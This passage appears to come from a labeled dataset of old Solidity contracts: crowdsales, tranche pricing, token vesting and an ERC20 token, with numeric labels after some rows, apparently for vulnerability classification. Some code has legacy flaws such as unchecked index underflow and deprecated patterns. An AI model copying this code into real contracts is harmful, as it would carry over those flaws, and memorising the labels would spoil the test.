uint256 public tokensSold = 0;
uint256 public weiRaised = 0;
uint256 public investorCount = 0;
uint256 public loadedRefund = 0;
uint256 public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint256 public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint256 weiAmount, uint256 tokenAmount, string custId);
event Refund(address investor, uint256 weiAmount);
event InvestmentPolicyChanged(bool requireCustId, bool requiredSignedAddr, address signerAddr);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint256 endAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet,
uint256 _start, uint256 _end, uint256 _minimumFundingGoal, address _tokenVestingAddress) public {
owner = msg.sender;
token = FractionalERC20(_token);
tokenVestingAddress = _tokenVestingAddress;
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
require(multisigWallet != 0);
require(_start != 0);
startsAt = _start;
require(_end != 0);
endsAt = _end;
require(startsAt < endsAt);
minimumFundingGoal = _minimumFundingGoal;
}
function() payable public {
require(false);
}
function investInternal(address receiver, string customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
require(earlyParticipantWhitelist[receiver]);
} else if(getState() == State.Funding) {
} else {
require(false);
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
require(tokenAmount != 0);
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold));
assignTokens(receiver, tokenAmount);
require(multisigWallet.send(weiAmount));
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function allocate(address receiver, uint256 tokenAmount, uint256 weiPrice, string customerId, uint256 lockedTokenAmount) public onlyAllocateAgent {
require(lockedTokenAmount <= tokenAmount);
uint256 weiAmount = (weiPrice * tokenAmount)/10**uint256(token.decimals());
weiRaised = safeAdd(weiRaised,weiAmount);
tokensSold = safeAdd(tokensSold,tokenAmount);
investedAmountOf[receiver] = safeAdd(investedAmountOf[receiver],weiAmount);
tokenAmountOf[receiver] = safeAdd(tokenAmountOf[receiver],tokenAmount);
if (lockedTokenAmount > 0) {
TokenVesting tokenVesting = TokenVesting(tokenVestingAddress);
require(!tokenVesting.isVestingSet(receiver));
assignTokens(tokenVestingAddress, lockedTokenAmount);
tokenVesting.setVestingWithDefaultSchedule(receiver, lockedTokenAmount);
}
if (tokenAmount - lockedTokenAmount > 0) {
assignTokens(receiver, tokenAmount - lockedTokenAmount);
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function investWithCustomerId(address addr, string customerId) public payable {
require(!requiredSignedAddress);
bytes memory custIdTest = bytes(customerId);
require(custIdTest.length != 0);
investInternal(addr, customerId);
}
function invest(address addr) public payable {
require(!requireCustomerId);
require(!requiredSignedAddress);
investInternal(addr, "");
}
function buyWithCustomerId(string customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
require(!finalized);
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) public onlyOwner {
finalizeAgent = addr;
require(finalizeAgent.isFinalizeAgent());
}
function setRequireCustomerId(bool value) public onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) public onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) public onlyOwner {
require(now <= time);
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) public onlyOwner {
pricingStrategy = _pricingStrategy;
require(pricingStrategy.isPricingStrategy());
}
function setMultisig(address addr) public onlyOwner {
require(investorCount <= MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE);
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
require(msg.value != 0);
loadedRefund = safeAdd(loadedRefund,msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
require(weiValue != 0);
investedAmountOf[msg.sender] = 0;
weiRefunded = safeAdd(weiRefunded,weiValue);
Refund(msg.sender, weiValue);
require(msg.sender.send(weiValue));
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) public onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public pure returns (bool) {
return true;
}
modifier inState(State state) {
require(getState() == state);
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) public constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract BonusFinalizeAgent is FinalizeAgent, SafeMathLib {
CrowdsaleToken public token;
Crowdsale public crowdsale;
uint256 public totalMembers;
uint256 public allocatedBonus;
mapping (address=>uint256) bonusOf;
address[] public teamAddresses;
function BonusFinalizeAgent(CrowdsaleToken _token, Crowdsale _crowdsale, uint256[] _bonusBasePoints, address[] _teamAddresses) public {
token = _token;
crowdsale = _crowdsale;
require(address(crowdsale) != 0);
require(_bonusBasePoints.length == _teamAddresses.length);
totalMembers = _teamAddresses.length;
teamAddresses = _teamAddresses;
for (uint256 i=0;i<totalMembers;i++) {
require(_bonusBasePoints[i] != 0);
}
for (uint256 j=0;j<totalMembers;j++) {
require(_teamAddresses[j] != 0);
bonusOf[_teamAddresses[j]] = _bonusBasePoints[j];
}
}
function isSane() public view returns (bool) {
return (token.mintAgents(address(this)) == true) && (token.releaseAgent() == address(this));
}
function finalizeCrowdsale() public {
require(msg.sender == address(crowdsale));
uint tokensSold = crowdsale.tokensSold();
for (uint256 i=0;i<totalMembers;i++) {
allocatedBonus = safeMul(tokensSold, bonusOf[teamAddresses[i]]) / 10000;
token.mint(teamAddresses[i], allocatedBonus);
}
token.releaseTokenTransfer();
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy,
address _multisigWallet, uint256 _start, uint256 _end, uint256 _minimumFundingGoal, uint256 _weiCap,
address _tokenVestingAddress)
Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal,
_tokenVestingAddress) public
{
weiCap = _weiCap;
}
function isBreakingCap(uint256 weiAmount, uint256 tokenAmount, uint256 weiRaisedTotal, uint256 tokensSoldTotal) public constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint256 tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
}
contract EthTranchePricing is PricingStrategy, Ownable, SafeMathLib {
uint public constant MAX_TRANCHES = 10;
mapping (address => uint256) public preicoAddresses;
struct Tranche {
uint amount;
uint price;
}
Tranche[10] public tranches;
uint public trancheCount;
function EthTranchePricing(uint[] _tranches) public {
require(!(_tranches.length % 2 == 1 || _tranches.length >= MAX_TRANCHES*2));
trancheCount = _tranches.length / 2;
uint256 highestAmount = 0;
for(uint256 i=0; i<_tranches.length/2; i++) {
tranches[i].amount = _tranches[i*2];
tranches[i].price = _tranches[i*2+1];
require(!((highestAmount != 0) && (tranches[i].amount <= highestAmount)));
highestAmount = tranches[i].amount;
}
require(tranches[0].amount == 0);
require(tranches[trancheCount-1].price == 0);
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getTranche(uint256 n) public constant returns (uint, uint) {
return (tranches[n].amount, tranches[n].price);
}
function getFirstTranche() private constant returns (Tranche) {
return tranches[0];
}
function getLastTranche() private constant returns (Tranche) {
return tranches[trancheCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstTranche().amount;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastTranche().amount;
}
function isSane(address _crowdsale) public view returns(bool) {
return true;
}
function getCurrentTranche(uint256 weiRaised) private constant returns (Tranche) {
uint i;
for(i=0; i < tranches.length; i++) {
if(weiRaised < tranches[i].amount) {
return tranches[i-1];
}
}
}
function getCurrentPrice(uint256 weiRaised) public constant returns (uint256 result) {
return getCurrentTranche(weiRaised).price;
}
function calculatePrice(uint256 value, uint256 weiRaised, uint256 tokensSold, address msgSender, uint256 decimals) public constant returns (uint256) {
uint256 multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return safeMul(value, multiplier) / preicoAddresses[msgSender];
}
uint256 price = getCurrentPrice(weiRaised);
return safeMul(value, multiplier) / price;
}
function() payable public {
revert();
}
}
contract TokenVesting is Allocatable, SafeMathLib {
address public LALATokenAddress;
uint256 public totalUnreleasedTokens;
uint256 startAt = 0;
uint256 cliff = 3;
uint256 duration = 12;
uint256 step = 2592000;
bool changeFreezed = false;
struct VestingSchedule {
uint256 startAt;
uint256 cliff;
uint256 duration;
uint256 step;
uint256 amount;
uint256 amountReleased;
bool changeFreezed;
}
mapping (address => VestingSchedule) public vestingMap;
event VestedTokensReleased(address _adr, uint256 _amount);
function TokenVesting(address _LALATokenAddress) public {
LALATokenAddress = _LALATokenAddress;
}
modifier changesToVestingFreezed(address _adr){
require(vestingMap[_adr].changeFreezed);
_;
}
modifier changesToVestingNotFreezed(address adr) {
require(!vestingMap[adr].changeFreezed);
_;
}
function setDefaultVestingParameters(uint256 _startAt, uint256 _cliff, uint256 _duration,
uint256 _step, bool _changeFreezed) onlyAllocateAgent public {
require(_step != 0);
require(_duration != 0);
require(_cliff <= _duration);
startAt = _startAt;
cliff = _cliff;
duration = _duration;
step = _step;
changeFreezed = _changeFreezed;
}
function setVestingWithDefaultSchedule(address _adr, uint256 _amount)
public
changesToVestingNotFreezed(_adr) onlyAllocateAgent {
setVesting(_adr, startAt, cliff, duration, step, _amount, changeFreezed);
}
function setVesting(address _adr, uint256 _startAt, uint256 _cliff, uint256 _duration,
uint256 _step, uint256 _amount, bool _changeFreezed) public changesToVestingNotFreezed(_adr) onlyAllocateAgent {
VestingSchedule storage vestingSchedule = vestingMap[_adr];
require(_step != 0);
require(_amount != 0 || vestingSchedule.amount > 0);
require(_duration != 0);
require(_cliff <= _duration);
if (_startAt == 0)
_startAt = block.timestamp;
vestingSchedule.startAt = _startAt;
vestingSchedule.cliff = _cliff;
vestingSchedule.duration = _duration;
vestingSchedule.step = _step;
if (vestingSchedule.amount == 0) {
ERC20 LALAToken = ERC20(LALATokenAddress);
require(LALAToken.balanceOf(this) >= safeAdd(totalUnreleasedTokens, _amount));
totalUnreleasedTokens = safeAdd(totalUnreleasedTokens, _amount);
vestingSchedule.amount = _amount;
}
vestingSchedule.amountReleased = 0;
vestingSchedule.changeFreezed = _changeFreezed;
}
function isVestingSet(address adr) public constant returns (bool isSet) {
return vestingMap[adr].amount != 0;
}
function freezeChangesToVesting(address _adr) public changesToVestingNotFreezed(_adr) onlyAllocateAgent {
require(isVestingSet(_adr));
vestingMap[_adr].changeFreezed = true;
}
function releaseMyVestedTokens() public changesToVestingFreezed(msg.sender) {
releaseVestedTokens(msg.sender);
}
function releaseVestedTokens(address _adr) public changesToVestingFreezed(_adr) {
VestingSchedule storage vestingSchedule = vestingMap[_adr];
require(safeSub(vestingSchedule.amount, vestingSchedule.amountReleased) > 0);
uint256 totalTime = block.timestamp - vestingSchedule.startAt;
uint256 totalSteps = totalTime / vestingSchedule.step;
require(vestingSchedule.cliff <= totalSteps);
uint256 tokensPerStep = vestingSchedule.amount / vestingSchedule.duration;
if(tokensPerStep * vestingSchedule.duration != vestingSchedule.amount) tokensPerStep++;
uint256 totalReleasableAmount = safeMul(tokensPerStep, totalSteps);
if(totalReleasableAmount > vestingSchedule.amount) totalReleasableAmount = vestingSchedule.amount;
uint256 amountToRelease = safeSub(totalReleasableAmount, vestingSchedule.amountReleased);
vestingSchedule.amountReleased = safeAdd(vestingSchedule.amountReleased, amountToRelease);
ERC20 LALAToken = ERC20(LALATokenAddress);
LALAToken.transfer(_adr, amountToRelease);
totalUnreleasedTokens = safeSub(totalUnreleasedTokens, amountToRelease);
VestedTokensReleased(_adr, amountToRelease);
}
} | 0 | 1,053 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract COCOIN is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "COC";
name = "COCOIN";
decimals = 18;
_totalSupply = 2000000000000000000000000000;
balances[0x36a05d957B68d2400bc77cDb11A048e4B56ca3f5] = _totalSupply;
emit Transfer(address(0), 0x36a05d957B68d2400bc77cDb11A048e4B56ca3f5, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,950 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaisedTotal;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint value);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investors, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest() public stopInEmergency payable {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit) {
throw;
}
if(!existing) {
investors.push(investor);
investorCount++;
}
weiRaisedTotal = safeAdd(weiRaisedTotal, msg.value);
if(weiRaisedTotal > weiCap) {
throw;
}
Invested(investor, msg.value);
}
function buyForEverybody() stopInEmergency public {
if(getState() != State.Funding) {
throw;
}
if(address(crowdsale) == 0) throw;
crowdsale.invest.value(weiRaisedTotal)(address(this));
tokensBought = getToken().balanceOf(address(this));
if(tokensBought == 0) {
throw;
}
TokensBoughts(tokensBought);
}
function getClaimAmount(address investor) public constant returns (uint) {
if(getState() != State.Distributing) {
throw;
}
return safeMul(balances[investor], tokensBought) / weiRaisedTotal;
}
function getClaimLeft(address investor) public constant returns (uint) {
return safeSub(getClaimAmount(investor), claimed[investor]);
}
function claimAll() {
claim(getClaimLeft(msg.sender));
}
function claim(uint amount) stopInEmergency {
address investor = msg.sender;
if(amount == 0) {
throw;
}
if(getClaimLeft(investor) < amount) {
throw;
}
if(claimed[investor] == 0) {
claimCount++;
}
claimed[investor] = safeAdd(claimed[investor], amount);
totalClaimed = safeAdd(totalClaimed, amount);
getToken().transfer(investor, amount);
Distributed(investor, amount);
}
function refund() stopInEmergency {
if(getState() != State.Refunding) throw;
address investor = msg.sender;
if(balances[investor] == 0) throw;
uint amount = balances[investor];
delete balances[investor];
if(!investor.send(amount)) throw;
Refunded(investor, amount);
